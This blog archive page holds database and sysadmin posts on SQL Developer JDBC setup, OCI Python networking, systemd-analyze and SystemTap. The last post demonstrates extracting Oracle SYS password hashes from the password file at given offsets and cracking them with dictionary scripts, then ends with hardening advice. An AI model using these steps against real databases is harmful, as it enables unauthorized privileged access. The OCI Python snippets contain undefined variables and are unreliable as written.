Data … as usual

All things about data by Laurent Leturgez

Category Archives: tools

Configure SQLDeveloper for Postgres, MySQL/Mariadb, SQL Server, and teradata

In my job, I usually work with other rdbms like postgres, sql server, teradata etc. But I usually use SQL Developer as an IDE.

In this post I will explain how to configure SQL Developer if you want to connect and use it with other rdbms than Oracle:

sqldeveloper

 

Step 1 … Download and Install SQL Developer

SQL Developer is available for download at this URL: https://www.oracle.com/technetwork/developer-tools/sql-developer/downloads/index.html

Download the version you want and install it (I don’t explain how to proceed here … I’m sure you’re smart enough to do that alone ! 😉 )

Once downloaded, installed, then executed, you can add new connection but only to Oracle databases:

 

Step 2 … Download libraries

To be configured for other rdbms, SQL Developer need extra libraries, and more precisely extra jdbc libraries for the required rdbms.

Depending on the target rdbms, you will have to download these libraries :

Postgres

Download the jdbc driver enclosed in a jar file for postgres. Jar files are available at this URL : https://jdbc.postgresql.org/download.html

I recommend to download the 42.2.5 JDBC 42 driver, but download the driver you need depending on your PG Server version, your JDBC driver version etc.

MySQL / MariaDB

Configuring SQL Developer to be able to connect to mysql or mariadb server need mysql Connector / J available at this URL: https://dev.mysql.com/downloads/connector/j/

Download the “Platform Independant” connector, and extract the jar file included in the archive/zip file. When writing this blog post the last version was mysql-connector-java-8.0.16, and the required jar file was mysql-connector-java-8.0.16.jar.

SQL Server / Sybase

Download the jTDS jar file at this URL: https://sourceforge.net/projects/jtds/files/, and extract the jar file included in the zip file. (jTDS is described here: http://jtds.sourceforge.net/).

Note: the jTDS is a bit older, and I didn’t use it to connect to recent version of MSSQL (including in the Azure Cloud). It will required some tests.

TeraData

To be able to connect a teradata database with SQL Developer, you need to download the jdbc driver for teradata. These drivers are available at this URL: https://downloads.teradata.com/download/connectivity/jdbc-driver. (It’s free but you will need an account to download it.).

Once downloaded, you will need both jars included in the zipfile. (terajdbc4.jar and tdgssconfig.jar).

Step 3 … Configure SQL Developer to use these third-party JDBC Drivers

First of all, you will have to put all the needed jars in a folder (somewhere in the sqldeveloper subfolders). In my case, I put them in the $SQLDEV_HOME/jdbc/lib directory.

Then, you’ll have to add the needed third party librairies in SQL Developer.

To do that, Menu “Tools”/”Preferences”, and select “Database” and then click on the “Third Party JDBC Drivers”.

Now, you have just to add new entries by selecting the needed jar files :

sqldeveloper

 

Step 4 … Create new connections from these third-party drivers

Now, when we create a new connection, the “Database Type” Menu contains more entries:

sqldeveloper

Once selected, the GUI changes a bit with the required fields to connect to the database type you chose.

 

That’s it for today 😉

Advertisement

creating a VM instance on the OCI with Python (prework)

In a previous post, I explained how to deal with python and the OCI (Oracle Cloud Infrastructure). In this previous post, I wrote a basic script to put and get some files stored into an object storage bucket.

But, with Python and OCI, you can also create some VM instances (and much more funny stuff).

In this article I will present the basics to do before creating a VM Instance (The VM instance creation process will be described in a next blog post).

Principles

As previously written, creating a resource in OCI with Python is almost always the same :


$ cat ~/.oci/config
[DEFAULT]
user=ocid1.user.oc1..aaaaaaaamcel7xygkvhe....aaaaaaaaaaaaaaaaaaaaa
fingerprint=35:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa:aa
key_file=~/.oci/oci_api_key.pem
tenancy=ocid1.tenancy.oc1..aaaaaaaahgagkf7xygkvhe....aaaaaaaaaaaaaaaaaaaaa
region=eu-frankfurt-1

  • Load it into your python program
import oci
config=oci.config.from_file()
  • Use the correct OCI Python SDK Client

In the Python SDK, you have various clients you will be able to use to deal with specific task. Each client is part of a service (Core, Compute, Database etc.)

For example:

In addition, in each service, you have some models that are used to configure your client or the resource you will create through the use this client. For example, when creating a subnet, we will use the VirtualNetworkClient object and specially the create_subnet function. But as parameters, we will give a model object for this subnet (this object will be configured with all the details of the subnet : CIDR, availability domain, tags etc.) … If it’s more understandable for you to read python code … we’ll see this is the next sections.

  • Ids Ids Ids … you will have to know all the required IDs (or OCID) for each container that will own the resource you will create.

The main OCIDs to get are:

    • the compartment OCID where you will create your VCN
    • The VCN OCID you will get once created

Of course, all the OCIDs required to configure your OCI client have to be known.. but already used in the first step.

Virtual Cloud Network (VCN) creation

To create a VCN, you will need various information. The main ones are :

  • The compartment OCID where your VCN will be created
  • A display name
  • and a CIDR block for the VCN

Once you got this, you can execute the VCN Creation (you can notice that we used a model to describe our VCN):

import oci
config=oci.config.from_file()
virtual_network_client = oci.core.VirtualNetworkClient(config)
vcn_name = 'PREMISEO-VCN'
my_compartment_id="ocid1.compartment.oc1..aaaaaaaawbbbbbbbbbbbbccccccFAKE_OCID_sa3p6q"
cidr_block='10.10.10.0/24'

result = virtual_network.create_vcn(
        oci.core.models.CreateVcnDetails(
            cidr_block=cidr_block,
            display_name=vcn_name,
            compartment_id=my_compartment_id
        )
    )

Once the command is executed, the process of creating the VCN is executed asynchronously.
So, if you want to be acknowledged when the process is terminated, it’s better to use the wait_until function from the oci package:

v_response = oci.wait_until(
        virtual_network,
        virtual_network.get_vcn(result.data.id),
        'lifecycle_state',
        'AVAILABLE'
    )
print('The VCN has been created with ID: ',v_response.data.id)

If you are curious, you can print the v_response.data associative array content and get all the details of your VCN.

Finally, note the returned OCID that identifies your VCN (You can get it from the OCI web console). It’s the only identifier for your VCN, if your rerun the same block code, you will create another VCN with the same properties (name, CIDR etc). The only difference will be the OCID.

Subnet Creation

Once you created a VCN, you can now create a subnet inside this VCN.

It’s the same principle as creating a VCN, the only difference is that you will need to give the VCN OCID and the compartment OCID, because these components host the subnet you will created.

Subnet creation is done through the VirtualNetworkClient object, like this:


config=oci.config.from_file()
virtual_network_client = oci.core.VirtualNetworkClient(config)
my_compartment_id="ocid1.compartment.oc1..aaaaaaaawbbbbbbbbbbbbccccccFAKE_OCID_sa3p6q"
my_vcn_id="ocid1.compartment.oc1..bbbbbbbbrccccccccccccddddddFAKE_OCID_bsu79z"
sub_cidr_block='10.10.10.0/24'
my_availability_domain='EUUz:EU-FRANKFURT-1-AD-1'
subnet_name='PREMISEO-VCN-subnet1'

result = virtual_network.create_subnet(
        oci.core.models.CreateSubnetDetails(
            compartment_id=my_compartment_id,
            availability_domain=my_availability_domain,
            display_name=subnet_name,
            vcn_id=my_vcn_id,
            cidr_block=sub_cidr_block
        )
    )
# Same thing here, we are waiting for the response property "lifecycle_state" to be set on "AVAILABLE". 
# This will keep us informed the resource is now available. 
s_response = oci.wait_until(
    virtual_network,
    virtual_network.get_subnet(result.data.id),
    'lifecycle_state',
    'AVAILABLE'
)
    print("The subnet has been created with ID: ", s_response.data.id)

Internet Gateway (IG) Creation

The last step to do before creating new VM instance is optional but needed when you want to connect your VM on the internet. It’s to create an Internet Gateway on your VCN and add a network rule to target this gateway.

Gateway creation

The IG creation follows the same process as previously used for VCN and subnet creation.

To create it, you will need some OCIDs like compartment OCID and VCN OCID, it’s done though the VirtualNetworkClient object, and you will a display name to configure it with the use of IntenetGateway model.


internet_gateway_name='premiseo_GW'
config=oci.config.from_file()
virtual_network_client = oci.core.VirtualNetworkClient(config)
my_compartment_id="ocid1.compartment.oc1..aaaaaaaawbbbbbbbbbbbbccccccFAKE_OCID_sa3p6q"
vcn_id="ocid1.compartment.oc1..bbbbbbbbrccccccccccccddddddFAKE_OCID_bsu79z"

result = virtual_network.create_internet_gateway(
        oci.core.models.CreateInternetGatewayDetails(
            display_name=internet_gateway_name,
            compartment_id=my_compartment_id,
            is_enabled=True,
            vcn_id=vcn.id
        )
    )
IG_response = oci.wait_until(
    virtual_network,
    virtual_network.get_internet_gateway(result.data.id),
    'lifecycle_state',
    'AVAILABLE'
)
print("Created internet gateway: ", IG_response.data.id)

Network rule creation and association with IG

Create a network rule is done through a model called RouteRule made of two properties :

  • the CIDR Block associated with this rule
  • the Object OCID associated with this rule (Here the Internet Gateway OCID)

After creating the RouteRule model, we need to get the route table and append the new rule to it, and then update the new route table.

This is done by the following code block:


internet_gateway_name='premiseo_GW'
config=oci.config.from_file()
virtual_network_client = oci.core.VirtualNetworkClient(config)
my_compartment_id="ocid1.compartment.oc1..aaaaaaaawbbbbbbbbbbbbccccccFAKE_OCID_sa3p6q"
vcn_id="ocid1.compartment.oc1..bbbbbbbbrccccccccccccddddddFAKE_OCID_bsu79z"

# #### Routing rules retrieving
# First, we get the VCN Object from the vcn OCID
vcn=virtual_network_client.get_vcn(vcn_id=vcn_id)
# Then the route table (as response Object)
route_table_resp= virtual_network_client.get_route_table(vcn.data.default_route_table_id)
# And Finally the route rules
route_rules = route_table_resp.data.route_rules

# Another way to proceed ... a one line command but a bit more complex to read 😉
route_rules = virtual_network_client.get_route_table(virtual_network_client.get_vcn(vcn_id=vcn_id).data.default_route_table_id).data.route_rules

# #### Now we append the new network rule to the previously route_rules object
route_rules.append(
        oci.core.models.RouteRule(
            cidr_block='0.0.0.0/0',
            network_entity_id=IG_response.data.id
        )
    )

# #### Finally we update the VCN with the new routing table
virtual_network.update_route_table(
        vcn.default_route_table_id,
        oci.core.models.UpdateRouteTableDetails(route_rules=route_rules)
    )

get_route_table_response = oci.wait_until(
    virtual_network,
    virtual_network.get_route_table(vcn.default_route_table_id),
    'lifecycle_state',
    'AVAILABLE'
)

Ok, now we have an environment ready to host our VM instance. In a next post, I will describe how to create a VM instance on the OCI by using Python SDK.

That’s it for today 🙂

 

Monitor your Oracle Linux startup time

Linux redhat’s based systems (like Oracle Linux) come with systemd init system that is used to bootstrap the user space and to manage system processes after booting.

Systemd has been created to reduce boot time (and shutdown time) of your server, but sometime, you can have a process that slows down the boot process and, in order to diagnose it, you can use a very interesting command to do that stuff.

The command is systemd-analyze.

With no argument, it will help you to know in how many time your server starts-up and how many times it spent on each phase (kernel, initrd, and user space) :

[root@oel7 ~]# systemd-analyze
Startup finished in 1.942s (kernel) + 6.141s (initrd) + 1min 44.688s (userspace) = 1min 52.772s

 

Another interesting option is the “blame” option that will give you the list of running systemd units ordered by time to initialize (remark: I used the no-pager switch to disable results paging)

[root@oel7 ~]# systemd-analyze blame --no-pager
    1min 15.289s kdump.service
         50.119s plymouth-quit-wait.service
         37.486s vboxadd.service
          8.134s accounts-daemon.service
          6.110s tuned.service
          5.179s systemd-logind.service
          5.092s libvirtd.service
          5.026s NetworkManager-wait-online.service
          4.873s systemd-udev-settle.service
          4.870s lvm2-monitor.service
          4.863s ModemManager.service
          4.749s ksm.service
          4.742s rhel-dmesg.service
          4.316s postfix.service
          4.052s NetworkManager.service
          3.924s dev-mapper-ol\x2droot_lv.device
          3.678s abrt-ccpp.service
          3.200s rtkit-daemon.service
          3.087s polkit.service
          2.937s gssproxy.service
          1.875s lvm2-pvscan@8:2.service
          1.508s rsyslog.service
          1.505s network.service
          1.425s packagekit.service
          1.420s sysstat.service
          1.401s sshd.service
          1.374s systemd-tmpfiles-setup-dev.service
          1.214s avahi-daemon.service
          1.109s netcf-transaction.service
          1.063s proc-fs-nfsd.mount
          1.014s chronyd.service
           932ms rhel-readonly.service
           913ms rhnsd.service
           877ms systemd-udevd.service
           842ms dev-mapper-ol\x2dswap_lv.swap
           800ms auditd.service
           778ms plymouth-read-write.service
           750ms u01.mount
           746ms systemd-tmpfiles-setup.service
           709ms systemd-vconsole-setup.service
           692ms systemd-fsck@dev-mapper-ol\x2dorasoft_lv.service
           638ms systemd-fsck@dev-mapper-ol\x2doradata_lv.service
           632ms systemd-journald.service
           631ms u02.mount
.../...

With this command, you can display aa tree of every steps in the init critical chain and how many time it took:

[root@oel7 ~]# systemd-analyze critical-chain
The time after the unit is active or started is printed after the "@" character.
The time the unit takes to start is printed after the "+" character.

graphical.target @1min 44.678s
└─multi-user.target @1min 44.678s
  └─vboxadd-service.service @50.648s +372ms
    └─vboxadd.service @13.158s +37.486s
      └─basic.target @12.969s
        └─paths.target @12.969s
          └─cups.path @12.968s
            └─sysinit.target @12.509s
              └─systemd-update-utmp.service @12.403s +105ms
                └─auditd.service @11.602s +800ms
                  └─systemd-tmpfiles-setup.service @10.719s +746ms
                    └─rhel-import-state.service @10.120s +590ms
                      └─local-fs.target @10.118s
                        └─run-user-0.mount @1min 8.832s
                          └─local-fs-pre.target @9.141s
                            └─lvm2-monitor.service @4.269s +4.870s
                              └─lvm2-lvmetad.service @5.220s
                                └─lvm2-lvmetad.socket @4.267s
                                  └─-.slice

The last but not least option offers the possibility to generate a SVG diagram (readable in a web browser) to visualize all the details of the bootstrap and daemons initialisation.

To do that you have to use the plot option:

[root@oel7 ~]# systemd-analyze plot > t.html

Then, you will get a nice plot in your browser to easily identify which process took the major part of the boot time:

For information, a legend is displayed on the page bottom.


 

 

That’s it for today 😉

 

Profiling Java Application with Systemtap

A couple of days ago, I read this tweet from Tanel Poder :

I’m not a JVM internals geek but I was sure there was a way to do the job without restarting the JVM, and I found some cool stuff with Systemtap.

To do this, you have to install two packages on your linux distribution: systemtap and systemtap-runtime-java (and configure correctly your user environment):

[root@spark ~]# yum install systemtap systemtap-runtime-java

Please note that I used a CentOS 7.4 distribution.

Then, and for the demo, I wrote a very small piece of Java that do these steps:

  1. Prints the JVM PID
  2. Wait for a key to be pressed. During this time, you will have to execute the systemtap script I will described later.
  3. Execute a loop ten times, each loop with print a message and wait one second, and this last step is executed in a method name “loop_and_wait”.

Here’s the sample code:


package com.premiseo;

import java.lang.*;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.IOException;

class Example {
   public static void loop_and_wait(int n) throws InterruptedException{
           System.out.println("Waiting "+n+"ms... Tick");
           Thread.sleep(n);
        }

   public static void main(String[] args) {

      System.out.println("PID = "+java.lang.management.ManagementFactory.getRuntimeMXBean().getName().split("@")[0]);
      System.out.println("Press any key when ready ...");

      try {
        BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
        String next = in.readLine();
      }
      catch (IOException ioe) {
        ioe.printStackTrace();
      }

      try {
        for (int i=0;i<10;i++) {
           loop_and_wait(1000);
        }
      }
      catch (InterruptedException ie) {
        ie.printStackTrace();
      }
   }
}

Then, compile and execute … very basic I said 😉

[spark@spark java]$ javac -cp $CLASSPATH:. com/premiseo/Example.java
[spark@spark java]$ java -cp $CLASSPATH:. com.premiseo.Example
PID = 9928
Press any key when ready ...

Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick
Waiting 1000ms... Tick

Now, to answer to Tanel, I used a short systemtap script that will profile the program and specially the loop_and_wait method. I will count the number of times the loop_and_wait method has been called, and I will account the time spent in this method execution.

To do that, I had to write two probes related to:

  • the full name of the class, including the package name: com.premiseo.Example
  • the class name where the method is defined: Example
  • the method name I want to profile: loop_and_wait

The first one will be executed when the program will start to execute the targeted method (java(“com.premiseo.Example”).class(“Example”).method(“loop_and_wait”)), the second one will be executed when the method will return (java(“com.premiseo.Example”).class(“Example”).method(“loop_and_wait”).return)

The related systemtap script is given below:

#!/usr/bin/env stap

global counter,timespent,t

probe begin {
  printf("Press Ctrl+C to stop profiling\n")
  counter=0
  timespent=0
}

probe java("com.premiseo.Example").class("Example").method("loop_and_wait")
{
  counter++
  t=gettimeofday_ms()
}

probe java("com.premiseo.Example").class("Example").method("loop_and_wait").return
{
  timespent+=gettimeofday_ms()-t
}

probe end {
   printf("Number of calls for loop_and_wait method: %ld \n",    counter)
   printf("Time Spent in method loop_and_wait: %ld msecs \n", timespent)
}

Execution of this systemtap script gave the following result (click the image for full size):

Is it dynamic? Yes, no need to restart the running JVM process you want to target. If you want to target a specific JVM process id, you can use the stap’s “-x” option, add the modify your probe definition like this:

probe java("com.premiseo.Example").class("Example").method("loop_and_wait")
{
  if (pid() == target())
    counter++
    t=gettimeofday_ms()
}

There’s a limitation, you cannot use wilcards in the java probe definition (java(“com.premiseo.Example”).class(“Example”).method(“loop*”) … for example). That would have been useful to profile a set of methods in the same class … but not possible currently.

If you want to read more about this kind of stuff, please read the following websites:

And … that’s all for today !! 😉

 

 

Brute forcing the Oracle Password file

If you want to remotely connect to your Oracle instance as sysdba, by default (ie. remote_login_passwordfile=EXCLUSIVE), you will probably use the password file (located in $ORACLE_HOME/dbs) to identify the SYS user.

Below, I used auditd to show that the password file is read by the server process when connecting remotely:

[oracle@oel6 ~]$ sudo service auditd status
auditd (pid  2422) is running...

[oracle@oel6 ~]$ sudo auditctl -l
No rules

[oracle@oel6 ~]$ sudo auditctl -w $ORACLE_HOME/dbs/orapworcl -p r
[oracle@oel6 ~]$ sudo auditctl -l
-w /u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl -p r
[oracle@oel6 ~]$ sqlplus sys@orcl as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Fri Dec 15 09:14:52 2017

Copyright (c) 1982, 2016, Oracle.  All rights reserved.

Enter password:

Connected to:
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

[oracle@oel6 ~]$ sudo ausearch -f $ORACLE_HOME/dbs/orapworcl | grep -A 2 '^type=PATH'
type=PATH msg=audit(1513326435.361:310): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:310):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:310): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aaf9c18 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.361:311): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:311):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:311): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aaf9c18 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.361:312): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:312):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:312): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=0 a2=0 a3=7ffe8aaf9c70 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.361:313): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.361:313):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.361:313): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=1002 a2=0 a3=797bfdf0 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:314): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:314):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:314): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aae9288 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:315): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:315):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:315): arch=c000003e syscall=2 success=yes exit=7 a0=7ffe8aae9288 a1=0 a2=0 a3=3 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:316): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:316):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:316): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=0 a2=0 a3=0 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
--
type=PATH msg=audit(1513326435.366:317): item=0 name="/u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapworcl" inode=109527 dev=fc:02 mode=0100640 ouid=500 ogid=500 rdev=00:00
type=CWD msg=audit(1513326435.366:317):  cwd="/u01/app/oracle/product/12.2.0/dbhome_1/dbs"
type=SYSCALL msg=audit(1513326435.366:317): arch=c000003e syscall=2 success=yes exit=7 a0=797bfbd8 a1=1002 a2=0 a3=797bfdf0 items=1 ppid=1 pid=7840 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 ses=3 tty=(none) comm="oracle_7840_orc" exe="/u01/app/oracle/product/12.2.0/dbhome_1/bin/oracle" key=(null)
[oracle@oel6 ~]$ ps -ef | grep 7840
oracle    7840     1  0 09:27 ?        00:00:00 oracleorcl (LOCAL=NO)

So, if we have a closer look to this binary file, we can find various password hashes. In my example, I configured my sqlnet with SQLNET.ALLOWED_LOGON_VERSION_SERVER=11. As a result, my password file contains 10g, 11g and 12c password hashes for the SYS user.

Below, I used xxd linux command with specific offsets on my password file to get the password hashes (in bold in the output):

  • 10g sys password hash
[oracle@oel6 ~]$ xxd -c16 -g0 -s +0x0484 -l 16 $ORACLE_HOME/dbs/orapworcl
0000484: 32363235343335323638333944303441 262543526839D04A
  • 11g sys password hash
[oracle@oel6 ~]$ xxd -c30 -g0 -s +0x04ac -l 30 $ORACLE_HOME/dbs/orapworcl
00004ac: 2adaa0a90bf26f339c49fe9948ab88a20baf82f93ef3c5da13ca5eb95314 *.....o3.I..H.......>.....^.S.

First part (20 first bytes): SHA1 digest

[oracle@oel6 ~]$ xxd -c20 -g0 -s +0x04ac -l 20 $ORACLE_HOME/dbs/orapworcl
00004ac: 2adaa0a90bf26f339c49fe9948ab88a20baf82f9 *.....o3.I..H.......

Second part (10 next bytes): Salt used by Oracle

[oracle@oel6 ~]$ xxd -c10 -g0 -s +0x4C0 -l 10 $ORACLE_HOME/dbs/orapworcl
00004c0: 3ef3c5da13ca5eb95314 >.....^.S.
  • 12c sys password hash
[oracle@oel6 ~]$ xxd -c80 -g0 -s +0x04CA -l 80 $ORACLE_HOME/dbs/orapworcl
00004ca: ad84face7a337c03baacca0bc63f97068e51edd0d6c53826ce8c347594a2800f92c736b4c83239fa47414ff2f68f45304b016ae215ed595c8b71c3c5a0ca3a0630e931d0f7d3929c9a6fb131f2fa0427 ....z3|......?...Q....8&..4u......6..29.GAO...E0K.j...Y\.q....:.0.1......o.1...'

Note: if you use the default configuration of oracle 12.2, you will only find 11g and 12c hashes.

 

Once these hashes have been found, I wrote some python scripts to brute force with a dictionary file to guess the password. Those scripts are available at this URL: https://github.com/lolo115/oracrack

First of all, I used the ora10g_hash_bf.py against the 10g hash to find the case insensitive password:

[oracle@oel6 sec]$ ./ora10g_hash_bf.py dict.txt sys 262543526839D04A
DICTFILE = dict.txt
USERNAME = sys
HASH     = 262543526839D04A
PASSWORD FOUND FOR USER sys !!! PASSWORD IS: rockyou
------
Be careful, the found password is case insensitive. The real password can include upper character(s)
Now generate all combinations for this password and run ora11g_hash_bf.py script to find the case sensitive password

Ok, the password is weak and the program found it in the dictionary file, but if we try it on our database, it fails because I used a sqlplus 12.2 client that use case sensitive passwords (and my SQLNET client configuration is the default one):

$ sqlplus sys/rockyou@orcl as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Fri Dec 15 10:06:37 2017

Copyright (c) 1982, 2016, Oracle.  All rights reserved.

ERROR:
ORA-01017: invalid username/password; logon denied

So, now as I know that the sys password is something like “rockyou” with upper and lower characters in it, I will use my “gen_all_comb.py” script to generate my own dictionary file that will contains all the combination for the “rockyou” password:

[oracle@oel6 sec]$ ./gen_all_comb.py rockyou > mydict.txt
[oracle@oel6 sec]$ head mydict.txt
rockyou
rockyoU
rockyOu
rockyOU
rockYou
rockYoU
rockYOu
rockYOU
rocKyou
rocKyoU
.../...

As the last operation, I have to use the ora11g_hash_bf.py script against the 11g hash (which is case sensitive) with my previously generated dictionary (mydict) and the script will find the correct password:

[oracle@oel6 sec]$ ./ora11g_hash_bf.py mydict.txt sys 2adaa0a90bf26f339c49fe9948ab88a20baf82f93ef3c5da13ca5eb95314
DICTFILE = mydict.txt
USERNAME = sys
HASH     = 2adaa0a90bf26f339c49fe9948ab88a20baf82f93ef3c5da13ca5eb95314
PASSWORD FOUND FOR USER sys !!! PASSWORD IS: RocKyoU

So let’s try:

[oracle@oel6 sec]$ sqlplus sys/RocKyoU@orcl as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Fri Dec 15 10:12:17 2017

Copyright (c) 1982, 2016, Oracle.  All rights reserved.


Connected to:
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

SQL>

In this blog post, I described how to brute force SYS password that is stored in the password file without trying to connect number of times to the database and lock account etc. Please note that, I didn’t read at any time the USER$ table too.

To avoid this, you can simply disable password file usage by setting remote_login_passwordfile to NONE and remove this password file. You can set a SYS password  that is not weak (or use a password function with a profile etc.), there are too many customers that are still setting sys password to oracle, oracle123 or welcome1 ….

Finally, I didn’t write anything about the 12c hash (SHA512) because it’s a bit more complicated. Oracle 12c used a SCRAM authentication dialog, so first, you have to listen to the client/server network dialog, get some authentication keys and then run your own script. More, the 12c hash generation process uses PBKDF2 key derivation function that is a de-optimized function. As a consequence, it will slow down the execution rate of your script. So if you want to secure your 12c authentication process and avoid password brute force, you have to use only a 12c hash password (in your password file and into USER$ table), encrypt your network dialog with AES192 algorithm (starting with 12c, it can be done even in Standard Edition), use non weak passwords.

I will terminate this blog post with the traditional disclaimer … use all that is written in this blog post (including scripts) at your own risk. If you use all this stuff to hack a SYS password without any authorization … you will be the only responsible for all the consequences ! 😉